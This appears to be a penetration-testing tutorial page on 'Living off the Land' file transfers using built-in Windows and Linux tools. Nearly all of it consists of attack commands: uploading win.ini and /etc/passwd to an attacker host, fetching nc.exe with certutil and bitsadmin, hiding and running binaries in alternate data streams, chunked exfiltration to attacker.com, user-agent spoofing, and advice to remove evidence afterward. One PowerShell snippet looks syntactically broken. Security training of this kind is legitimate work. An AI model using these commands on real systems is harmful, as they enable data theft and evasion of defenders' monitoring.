Living off the Land - File transfers

Living off The Land File Transfers

Living off the Land (LOL) techniques use built-in system utilities to perform operations rather than introducing external tools. For file transfers, these techniques help avoid detection by using legitimate binaries that already exist on the target system.

Understanding LOLBins

The term LOLBins (Living off the Land binaries) originated from a Twitter discussion about binaries that attackers can use beyond their intended purpose. Two main resources document these binaries:

LOLBins can perform various functions including:

File downloads and uploads
Command execution
File read and write operations
Security bypass techniques

Windows LOLBins for File Transfers

CertReq.exe

CertReq is a Windows certificate request tool that can be repurposed to upload files.

# Upload a file to remote server
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini

On the receiving end, a simple netcat listener will capture the uploaded content:

# Receive file on attacker machine
sudo nc -lvnp 8000

Example output:

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
User-Agent: Mozilla/4.0 (compatible; Win32; NDES client 10.0.19041.1466/vb_release_svc_prod1)
Content-Length: 92
Host: 192.168.49.128:8000

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Bitsadmin

The Background Intelligent Transfer Service (BITS) is designed for file transfers with bandwidth throttling.

# Download file using bitsadmin
bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

PowerShell also provides BITS capabilities:

# Download using PowerShell BITS module
Import-Module bitstransfer
Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

Certutil

Certutil is a Windows certificate management tool that can download files:

# Download file using certutil
certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

# Alternative download syntax
certutil.exe -urlcache -split -f http://10.10.10.32:8000/nc.exe

Note: Modern antivirus solutions often flag certutil download operations.

Linux LOLBins for File Transfers

OpenSSL

OpenSSL is commonly used for cryptographic operations but can transfer files similarly to netcat.

Server Side Setup

# Create a certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

# Start server to send a file
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Client Side Download

# Download the file
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Wget and Curl

While primarily download tools, they can be used for uploads in combination with web servers:

# Upload with curl to a server supporting POST uploads
curl -X POST -F "file=@/path/to/local/file" http://server.com/upload

# Upload via wget POST request
wget --post-file=/path/to/local/file http://server.com/upload

SSH/SCP/SFTP

These tools are designed for secure file transfers but can be considered LOLBins when used creatively:

# Exfiltrate data using SSH
cat /etc/passwd | ssh user@attacker "cat > passwd.txt"

Advanced LOL Techniques

Alternate Data Streams (Windows)

# Store file in alternate data stream
type nc.exe > "C:\Program Files\legit.txt:nc.exe"

# Execute from alternate data stream
wmic process call create '"C:\Windows\System32\cmd.exe" /c powershell -command "$(cat C:\Program Files\legit.txt:nc.exe)"'

Base64 Command Line Transfers

# PowerShell encode and transfer via clipboard
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\path\to\file.exe"))
# (Copy output to clipboard)

# Linux decode from clipboard
echo "BASE64_STRING" | base64 -d > file.exe

Detection Evasion Techniques

Modifying User-Agent Strings

# PowerShell custom user agent
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
$WebClient.DownloadFile("http://10.10.10.32:8000/nc.exe", "nc.exe")

Traffic Encryption

# OpenSSL encrypted transfer
# Sender:
cat file | openssl enc -aes-256-cbc -pass pass:password | nc 10.10.10.32 8000

# Receiver:
nc -lvnp 8000 | openssl enc -aes-256-cbc -d -pass pass:password > file

Transfer Chunking

# Split file into chunks
$file = Get-Content -Raw "large_file.exe"
$chunks = [System.Collections.ArrayList]@()
$chunkSize = 1024
for ($i = 0; $i -lt $file.Length; $i += $chunkSize) {
    if ($i + $chunkSize -gt $file.Length) {
        $chunk = $file.Substring($i)
    } else {
        $chunk = $file.Substring($i, $chunkSize)
    }
    $chunks.Add($chunk) | Out-Null
}

# Transfer each chunk individually
foreach ($chunk in $chunks) {
    Invoke-WebRequest -Uri "http://attacker.com/exfil?data=$chunk" -Method GET
}

Identifying Transfer Capabilities

When assessing which LOLBins to use for file transfers, check for available tools:

# Linux: Check for common tools
which curl wget python nc netcat openssl ssh scp 2>/dev/null

# Additional check for Python modules
python3 -c "help('modules')" | grep -E "(http|ftplib|requests)"

# Windows: Check for common transfer tools
Where-Object { Test-Path $_ } -Value @(
    "$env:SystemRoot\System32\certutil.exe",
    "$env:SystemRoot\System32\bitsadmin.exe",
    "$env:SystemRoot\System32\certreq.exe"
)

Best Practices

Use native tools first to avoid introducing new binaries
Test transfers beforehand in similar environments
Consider size limitations of different methods
Be aware of logging mechanisms that might detect LOLBin abuse
Clean up after transfers to remove evidence
Use encrypted transfers when possible

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Last updated 5 months ago